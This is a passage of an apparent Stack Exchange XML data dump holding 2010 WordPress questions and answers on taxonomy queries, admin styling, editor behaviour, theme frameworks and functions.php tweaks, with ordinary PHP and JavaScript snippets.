  <row Id="3706" PostTypeId="2" ParentId="2956" CreationDate="2010-11-05T21:54:15.933" Score="1" ViewCount="" Body="&lt;p&gt;There is no way at all to remove the &lt;em&gt;uncategorized&lt;/em&gt; category from a wordpress.com webblog. It's not even possible with a self hosted wordpress w/o extensively hack the theme and the core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;uncategorized&lt;/em&gt; category is a placeholder for a post not having any category. You can't even delete that category to not have any categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So sorry but the answer is &lt;strong&gt;no, there is no way to remove categories&lt;/strong&gt;. Not on wordpress.com and only with a lot of changing the overall design of wordpress on a own copy.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-05T21:54:15.933" />
  <row Id="3707" PostTypeId="2" ParentId="2603" CreationDate="2010-11-05T22:24:34.347" Score="0" ViewCount="" Body="&lt;p&gt;So far, I'm having a lot of problems with large variation sets on WP e-commerce. I've contacted Shopp to get a sense of whether they'll have the same problems, but I'm still nervous about paying for the plugin without knowing whether or not it'll work with the large variation options I've got.&lt;/p&gt;&#xA;" LastActivityDate="2010-11-05T22:24:34.347" CommentCount="1" />
  <row Id="3708" PostTypeId="1" AcceptedAnswerId="8619" CreationDate="2010-11-05T22:49:49.387" Score="2" ViewCount="1879" Body="&lt;p&gt;Is there an easy way to query for any posts that is tagged with any term from a particular taxonomy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this technique:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$custom_taxonomy_query = new WP_Query( &#xA; array(&#xA;  'taxonomy_name' =&amp;gt; 'term_slug',&#xA; )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I would like to either pass a wildcard in place of term_slug, or perhaps just an empty string. Then that would give me all posts that are tagged by any term in that taxonomy, not just one specific term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help,&#xA;Dave &lt;/p&gt;&#xA;" OwnerUserId="1427" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-11-06T09:08:40.127" LastActivityDate="2011-02-05T16:06:56.200" Title="Custom Taxonomy WP_Query for All Terms in a Taxonomy?" Tags="&lt;taxonomy&gt;&lt;wp-query&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="3709" PostTypeId="2" ParentId="3708" CreationDate="2010-11-05T23:33:32.897" Score="0" ViewCount="" Body="&lt;p&gt;You should just be able to set the taxonomy and negate to include a term..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$your_query = new WP_query;&#xA;$your_query-&amp;gt;query( array( 'taxonomy' =&amp;gt; 'your-taxonomy-name' ) );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which would pretty much be the same as the query a taxonomy archive performs.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-05T23:33:32.897" CommentCount="6" />
  <row Id="3710" PostTypeId="2" ParentId="1481" CreationDate="2010-11-06T00:35:20.180" Score="1" ViewCount="" Body="&lt;p&gt;I was also having the same issue. I couldn't find a php hack, so I used a javascript one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function findAncestor(){&#xA;    var currentParentLi = document.getElementsByClassName(&quot;current-menu-parent&quot;);&#xA;    if(currentParentLi){&#xA;        var currentAncestorLi = currentParentLi[0].parentNode.parentNode;&#xA;        if(currentAncestorLi &amp;amp;&amp;amp; currentAncestorLi.tagName==&quot;LI&quot;){&#xA;            currentAncestorLi.className += &quot; current-menu-ancestor&quot;;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Put the above code in a .js file, then reference it in the head of your page and call the findAncestor() function on window.onload, i.e.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&amp;lt;!--&#xA;window.onload = function() {&#xA;    findAncestor()&#xA;}&#xA;//--&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2010-11-06T00:35:20.180" CommentCount="1" />
  <row Id="3711" PostTypeId="2" ParentId="2333" CreationDate="2010-11-06T03:34:11.230" Score="1" ViewCount="" Body="&lt;p&gt;Creating your own within the functions file would be rather straightforward. Take a look at this: &lt;a href=&quot;http://codex.wordpress.org/Shortcode_API&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Shortcode_API&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-11-06T03:34:11.230" />
  <row Id="3712" PostTypeId="2" ParentId="2190" CreationDate="2010-11-06T03:41:52.143" Score="1" ViewCount="" Body="&lt;p&gt;I've personally stayed away from any external or 3rd party system. Many times commenters are apprehensive about using &quot;another&quot; account or service, esp with recent privacy issues with Facebook, etc. Also, many add bloat and delay page load to run their own scripts, etc and can be harder to style to fit within an existing theme. I would look to use the existing WP comment function, plus Askimet and some .htaccess rules to block out spam.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-11-06T03:41:52.143" />
  <row Id="3713" PostTypeId="2" ParentId="3009" CreationDate="2010-11-06T03:46:58.033" Score="1" ViewCount="" Body="&lt;p&gt;This plugin should do the trick: &lt;a href=&quot;http://wordpress.org/extend/plugins/download-monitor/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/download-monitor/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It'll allow you to set up a special &quot;link&quot; for everything to d/l and show numbers on the back-end.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-11-06T03:46:58.033" />
  <row Id="3714" PostTypeId="2" ParentId="2970" CreationDate="2010-11-06T03:49:14.037" Score="1" ViewCount="" Body="&lt;p&gt;Due to the various CAN-SPAM rules and other requirements for email marketing, I would strongly suggest using a 3rd party system like MailChimp or Aweber.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-11-06T03:49:14.037" />
  <row Id="3715" PostTypeId="2" ParentId="3708" CreationDate="2010-11-06T07:45:53.860" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Dave Morris:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are correct, WordPress decides if you don't have a term they'll just ignore your taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are &lt;strong&gt;three (3) main approaches&lt;/strong&gt; you could try:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Use a complete SQL query&lt;/strong&gt; with &lt;code&gt;$wpdb-&amp;gt;get_results()&lt;/code&gt;, &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Get a list of &lt;code&gt;$post-&amp;gt;ID&lt;/code&gt;s&lt;/strong&gt; for all posts in your taxonomy and then pass them using the &lt;code&gt;'post__id'&lt;/code&gt; argument, or &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Annotate the SQL used by &lt;code&gt;WP_Query&lt;/code&gt;&lt;/strong&gt; with one of the hooks that let's you add a SQL &lt;code&gt;INNER JOIN&lt;/code&gt; referencing the taxonomy tables.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I try to avoid complete SQL in WordPress until either it can't be helped or it's simply returning a list of IDs.  And in this case I'd avoid pulling a list of &lt;code&gt;$post-ID&lt;/code&gt;s for use with the &lt;code&gt;'post__id'&lt;/code&gt; argument because it could run into performance issues and even memory problems if you had lots of posts. &lt;strong&gt;So that leaves us with #3.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I've created a class to extend &lt;code&gt;WP_Query&lt;/code&gt;&lt;/strong&gt; called &lt;code&gt;PostsByTaxonomy&lt;/code&gt; which uses the &lt;code&gt;'posts_join&lt;/code&gt;' hook. You can see it here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PostsByTaxonomy extends WP_Query {&#xA;  var $posts_by_taxonomy;&#xA;  var $taxonomy;&#xA;  function __construct($args=array()) {&#xA;    add_filter('posts_join',array(&amp;amp;$this,'posts_join'),10,2);&#xA;    $this-&amp;gt;posts_by_taxonomy = true;&#xA;    $this-&amp;gt;taxonomy = $args['taxonomy'];&#xA;    unset($args['taxonomy']);&#xA;    parent::query($args);&#xA;  }&#xA;  function posts_join($join,$query) {&#xA;    if (isset($query-&amp;gt;posts_by_taxonomy)) {&#xA;      global $wpdb;&#xA;      $join .=&amp;lt;&amp;lt;&amp;lt;SQL&#xA;INNER JOIN {$wpdb-&amp;gt;term_relationships} ON {$wpdb-&amp;gt;term_relationships}.object_id={$wpdb-&amp;gt;posts}.ID&#xA;INNER JOIN {$wpdb-&amp;gt;term_taxonomy} ON {$wpdb-&amp;gt;term_taxonomy}.term_taxonomy_id={$wpdb-&amp;gt;term_relationships}.term_taxonomy_id&#xA;  AND {$wpdb-&amp;gt;term_taxonomy}.taxonomy='{$this-&amp;gt;taxonomy}'&#xA;SQL;&#xA;    }&#xA;    return $join;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would call this class as you see below. &lt;strong&gt;The argument &lt;code&gt;'taxonomy'&lt;/code&gt; is an required&lt;/strong&gt; but you can pass any &lt;em&gt;(all?)&lt;/em&gt; of the other parameters that &lt;code&gt;WP_Query&lt;/code&gt; expects as well, such as &lt;code&gt;'posts_per_page'&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = new PostsByTaxonomy(array(&#xA;  'taxonomy' =&amp;gt; 'category',&#xA;  'posts_per_page' =&amp;gt; 25,&#xA;));&#xA;foreach($query-&amp;gt;posts as $post) {&#xA;  echo &quot; {$post-&amp;gt;post_title}\n&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can copy the &lt;code&gt;PostsByTaxonomy&lt;/code&gt; class to your theme's &lt;code&gt;functions.php&lt;/code&gt; file, or you can use it within a &lt;code&gt;.php&lt;/code&gt; file of a plugin you may be writing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to test it quickly I've posted &lt;a href=&quot;https://gist.github.com/665119&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;a self-contained version of the code&lt;/strong&gt;&lt;/a&gt; to Gist which you can download and copy to your web server's root as &lt;code&gt;test.php&lt;/code&gt;, modify for your use case, and then request from your browser using a URL like &lt;code&gt;http://example.com/test.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;UPDATE&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;To &lt;strong&gt;omit Sticky Posts&lt;/strong&gt; from the posts included in the query, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = new PostsByTaxonomy(array(&#xA;  'taxonomy' =&amp;gt; 'category',&#xA;  'posts_per_page' =&amp;gt; 25,&#xA;  'caller_get_posts' =&amp;gt; true,&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if it is important to you that the &lt;code&gt;PostsByTaxonomy&lt;/code&gt; class never include sticky posts you could put it into the constructor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  function __construct($args=array()) {&#xA;    add_filter('posts_join',array(&amp;amp;$this,'posts_join'),10,2);&#xA;    $this-&amp;gt;posts_by_taxonomy = true;&#xA;    $this-&amp;gt;taxonomy = $args['taxonomy'];&#xA;    $args['caller_get_posts'] = true     // No Sticky Posts&#xA;    unset($args['taxonomy']);&#xA;    parent::query($args);&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;UPDATE 2&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;After posting the above I learned 'caller_get_posts' will be deprecated and &lt;code&gt;'ignore_sticky_posts'&lt;/code&gt; will be used in WordPress 3.1.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-11-07T20:51:41.060" LastActivityDate="2010-11-07T20:51:41.060" CommentCount="8" />
  <row Id="3716" PostTypeId="1" AcceptedAnswerId="3718" CreationDate="2010-11-06T13:10:41.173" Score="0" ViewCount="104" Body="&lt;p&gt;I'm using add_filter('manage_posts_columns') in my plugin.php to add a column to the Edit Posts listing which is driven by edit.php. How can I attach a css style to the edit.php?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to color the background of my column td.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-11-06T14:30:06.313" Title="How can I add a css rule to edit.php?" Tags="&lt;plugin-development&gt;" AnswerCount="2" />
  <row Id="3718" PostTypeId="2" ParentId="3716" CreationDate="2010-11-06T13:53:06.440" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Creating_Admin_Themes&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Creating_Admin_Themes&lt;/a&gt; shows you how to add css styles to admin pages&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2010-11-06T13:53:06.440" />
  <row Id="3719" PostTypeId="2" ParentId="3716" CreationDate="2010-11-06T14:30:06.313" Score="2" ViewCount="" Body="&lt;p&gt;As helpful as the codex page linked to is, it unfortunately doesn't cover hooking onto a set page or pages, rather the examples given generally hook onto the admin_head, which will load your stylesheet for every admin page (you probably don't want that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For hooking onto the edit posts screen, the following hook will do that for you..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_print_styles-edit.php', 'your-function-callback' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace &lt;code&gt;your-function-callback&lt;/code&gt; with the name of the function you wish to call with the action.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-06T14:30:06.313" />
  <row Id="3720" PostTypeId="1" CreationDate="2010-11-06T15:28:10.683" Score="2" ViewCount="440" Body="&lt;p&gt;I imagine the answer to this will be related to this question I asked yesterday:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/3708/custom-taxonomy-wp-query-for-all-terms-in-a-taxonomy&quot;&gt;Custom Taxonomy WP_Query for All Terms in a Taxonomy?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to output an RSS feed containing all posts that have ANY entry from a particular taxonomy assigned to them. I can do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blog.example.com/feed/?taxonomy=taxonomy-name&amp;amp;term=test-term&quot; rel=&quot;nofollow&quot;&gt;http://blog.example.com/feed/?taxonomy=taxonomy-name&amp;amp;term=test-term&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To return all posts assigned to a particular term, but I would like to have a feed that shows all posts from all terms in that taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dave&lt;/p&gt;&#xA;" OwnerUserId="1427" LastActivityDate="2011-07-21T19:44:07.360" Title="RSS Feed for posts containing any term from a taxonomy" Tags="&lt;custom-taxonomy&gt;&lt;rss&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" />
  <row Id="3721" PostTypeId="2" ParentId="324" CreationDate="2010-11-06T15:38:24.290" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Operating Systems:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Windows XP (primary)&lt;/li&gt;&#xA;&lt;li&gt;Windows Vista 64 (when i'm not on the laptop)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tools:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Notepad++ with the Zen Coding plugin (for everything code)&lt;/li&gt;&#xA;&lt;li&gt;FileZilla (for FTP when i need it)&lt;/li&gt;&#xA;&lt;li&gt;Uniform Server (PHP/MySQL/Apache + xdebug which i installed)&lt;/li&gt;&#xA;&lt;li&gt;Firefox Nightlies + Firefox Stable (trunk + stable)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Firefox Ext&lt;/em&gt;:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Firebug&lt;/li&gt;&#xA;&lt;li&gt;Web Developer&lt;/li&gt;&#xA;&lt;li&gt;Stylish &#xA;_&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;TortoiseSVN (for SVN goodness)&lt;/li&gt;&#xA;&lt;li&gt;Fireworks CS3 (image manipulation)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I think i've covered the important (can't live without) ones.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-07-12T11:23:53.983" LastActivityDate="2011-07-12T11:23:53.983" CommunityOwnedDate="2010-11-06T15:38:24.290" />
  <row Id="3722" PostTypeId="1" CreationDate="2010-11-06T16:34:14.447" Score="1" ViewCount="104" Body="&lt;p&gt;As you probably know the WordPress &lt;em&gt;theme editor&lt;/em&gt; remembers its last editing position, but I want my &lt;em&gt;post editor&lt;/em&gt; to do the same (it jumps to the top if you save a post/page).... Any tips/hacks how to resolve this ? Help with this is very much appreciated !! &lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T23:21:14.527" LastActivityDate="2011-02-05T23:21:14.527" Title="Want to have the Post editor remembering the last editing position" Tags="&lt;themes&gt;&lt;javascript&gt;&lt;posts&gt;&lt;editor&gt;&lt;tinymce&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="3723" PostTypeId="2" ParentId="3722" CreationDate="2010-11-06T16:53:10.140" Score="1" ViewCount="" Body="&lt;p&gt;Are you referring to the &lt;em&gt;Visual&lt;/em&gt; or the &lt;em&gt;HTML&lt;/em&gt; editor or both?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://stackoverflow.com/questions/499126/jquery-set-cursor-position-in-text-area&quot;&gt;jQuery Set Cursor Position in Text Area&lt;/a&gt; it is possible to set the cursor position for a textarea element. That is good news, as AFAIK the Wordpress &lt;em&gt;HTML&lt;/em&gt; editor is using a textarea element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Wordpress &lt;em&gt;Visual&lt;/em&gt; editor in difference is based on &lt;a href=&quot;http://tinymce.moxiecode.com/&quot; rel=&quot;nofollow&quot;&gt;TinyMCE&lt;/a&gt;. TinyMCE does not support a cursor position natively (I assume this only, and it's only backed this up by a first, quick googling ). So this is not possible out of the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there are some resources that offer a method of how to do that with TinyMCE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you could add a javascript that does the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;On loading of the post editor, check if a cookie exists for the postId.&lt;/li&gt;&#xA;&lt;li&gt;If so, set the cursor position. If not, do nothing.&lt;/li&gt;&#xA;&lt;li&gt;Then set a flag that cursor capturing is enabled.&lt;/li&gt;&#xA;&lt;li&gt;While cursor capturing is enabled, On each keypress set a cookie for the postId and the cursor position.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Done.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;See also:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tinymce.moxiecode.com/punbb/viewtopic.php?id=8238&quot; rel=&quot;nofollow&quot;&gt;TinyMCE Forum / cursor position&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://stackoverflow.com/questions/1253303/whats-the-best-way-to-set-cursor-caret-position&quot;&gt;What's the best way to set cursor/caret position?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-06T17:02:55.560" LastActivityDate="2010-11-06T17:02:55.560" />
  <row Id="3724" PostTypeId="2" ParentId="2623" CreationDate="2010-11-06T17:17:22.677" Score="2" ViewCount="" Body="&lt;p&gt;I have the same level of information like Jan. I know it's possible to extend search with plugins as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably &lt;a href=&quot;http://wordpress.org/extend/plugins/search-everything/&quot; rel=&quot;nofollow&quot;&gt;Search Everything (Wordpress Plugin)&lt;/a&gt; is what you are looking for. According to the feature list, it now supports custom taxonomies.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-06T17:17:22.677" CommentCount="1" />
  <row Id="3725" PostTypeId="1" CreationDate="2010-11-06T20:59:38.010" Score="32" ViewCount="6626" Body="&lt;p&gt;By now there is a considerable amount of WordPress code around that is meant to be re-used by other developers. Unfortunately there is little to none practical and solid information on it and generally you are stuck going through frameworks one by one until you find the first you like or think they all suck terribly (whichever comes first).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's make community writeup on &lt;strong&gt;which frameworks and parent themes we really use and why&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;purpose&lt;/strong&gt; (parent theme, theme framework, helper code, etc)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;strong features&lt;/strong&gt; (which make it interesting and useful)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;downsides&lt;/strong&gt; (what it does inconveniently or different from usual)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;licensing and pricing&lt;/strong&gt; (if not free)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-22T23:36:50.493" CommunityOwnedDate="2010-11-07T20:52:17.330" Title="WordPress frameworks and parent themes" Tags="&lt;themes&gt;&lt;parent-theme&gt;&lt;framework&gt;" AnswerCount="11" CommentCount="8" FavoriteCount="35" />
  <row Id="3726" PostTypeId="2" ParentId="1567" CreationDate="2010-11-06T21:08:39.407" Score="1" ViewCount="" Body="&lt;h2&gt;Collection of quick function.php edits&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I have a few awesome tweaks in &lt;code&gt;functions.php&lt;/code&gt; as well. Found most of these by searching for them over the years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Excerpt Ending&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function new_excerpt_more($more) {&#xA;    return '...';&#xA;}&#xA;add_filter('excerpt_more', 'new_excerpt_more');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Replace WP Admin Logo&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function new_admin_logo() {&#xA;  echo '&amp;lt;style type=&quot;text/css&quot;&amp;gt;#header-logo { background-image: url('.get_bloginfo('template_directory').'/images/admin_logo.png) !important; }&amp;lt;/style&amp;gt;';&#xA;}&#xA;add_action('admin_head', 'new_admin_logo');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Custom Favicon WP-Admin&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function admin_favicon() {&#xA; echo '&amp;lt;link rel=&quot;shortcut icon&quot; type=&quot;image/x-icon&quot; href=&quot;' . get_bloginfo('template_directory') . '/images/favicon.ico&quot; /&amp;gt;';&#xA;}&#xA;add_action( 'admin_head', 'admin_favicon' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Custom Admin Footer&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_admin_footer() {&#xA;echo 'Welcome to my blog! No More Documentation Links!';&#xA;}&#xA;add_filter('admin_footer_text', 'custom_admin_footer');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1493" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T13:48:42.353" LastActivityDate="2011-01-26T13:48:42.353" CommunityOwnedDate="2010-11-06T21:08:39.407" CommentCount="2" />
  <row Id="3727" PostTypeId="1" AcceptedAnswerId="3728" CreationDate="2010-11-06T21:32:51.167" Score="2" ViewCount="129" Body="&lt;p&gt;I used to have a self hosted wordpress blog but I switch to a wordpress.com one. I can't seem to find the plugins area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help?&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-07T01:07:17.860" LastActivityDate="2011-02-23T23:56:55.617" Title="How can I install a plugin on a Wordpress.com hosted blog?" Tags="&lt;plugins&gt;&lt;wordpress.com&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="3728" PostTypeId="2" ParentId="3727" CreationDate="2010-11-06T21:38:43.550" Score="6" ViewCount="" Body="&lt;p&gt;You &lt;a href=&quot;http://en.support.wordpress.com/com-vs-org/&quot; rel=&quot;nofollow&quot;&gt;can't upload plugins on WordPress.com&lt;/a&gt;. For security and performance reasons, you can only run what wordpress.com staff has approved.&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-07T01:06:38.843" LastActivityDate="2010-11-07T01:06:38.843" />
  <row Id="3729" PostTypeId="1" CreationDate="2010-11-06T22:08:59.147" Score="0" ViewCount="64" Body="&lt;p&gt;I have a wordpress.com hosted blog at sergiotapiag.wordpress.com and I can't seem to get my code to be published with my required setting. Wordpress is not rendering my embedded stylesheet but displaying it's contents. I'm using Windows Live Writer 2011 and the Insert Code plugin to format the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to tell wordpress to RENDER the html/css i post and not just escape it as text?&lt;/p&gt;&#xA;" LastEditorUserId="127" LastEditorDisplayName="" LastEditDate="2010-11-07T06:11:49.377" LastActivityDate="2010-11-07T06:11:49.377" Title="CSS isn't rendered on a post but just posted as text" Tags="&lt;wordpress.com&gt;&lt;css&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="3730" PostTypeId="2" ParentId="3725" CreationDate="2010-11-06T22:14:02.410" Score="8" ViewCount="" Body="&lt;h1&gt;&lt;a href=&quot;http://themehybrid.com/&quot; rel=&quot;nofollow&quot;&gt;Hybrid&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://themehybrid.com/&quot; rel=&quot;nofollow&quot;&gt;Theme Hybrid&lt;/a&gt;, developed by &lt;a href=&quot;http://justintadlock.com/&quot; rel=&quot;nofollow&quot;&gt;Justin Tadlock&lt;/a&gt;. Scope of code is primarily PHP internal functionality and front-end templates for themes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Interesting features&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;code aims to minimize template edits, most of functionality can be controlled via hooks;&lt;/li&gt;&#xA;&lt;li&gt;context-aware - extended body-class, dynamic context-aware hooks that allow to hook events that fire only in specific context;&lt;/li&gt;&#xA;&lt;li&gt;tightly integrates with several &lt;a href=&quot;http://wordpress.org/extend/plugins/profile/greenshady&quot; rel=&quot;nofollow&quot;&gt;generic and Hybrid-specific plugins&lt;/a&gt; from same developer;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Issues&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;backwards compatibility can be an issue, especially if trying to use older child theme releases with newer parent theme.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pricing&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;all code is freely available, under GPLv2;&lt;/li&gt;&#xA;&lt;li&gt;access to support and non-basic documentation $25/year.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is range of releases for different stages of development.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://themehybrid.com/hybrid-core&quot; rel=&quot;nofollow&quot;&gt;Hybrid Core&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Standalone framework for developers making their own parent themes. Highly modular with most of the features loaded on demand by custom &lt;code&gt;add_theme_support()&lt;/code&gt; calls.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://themehybrid.com/themes/hybrid&quot; rel=&quot;nofollow&quot;&gt;Hybrid parent theme&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Long established parent theme 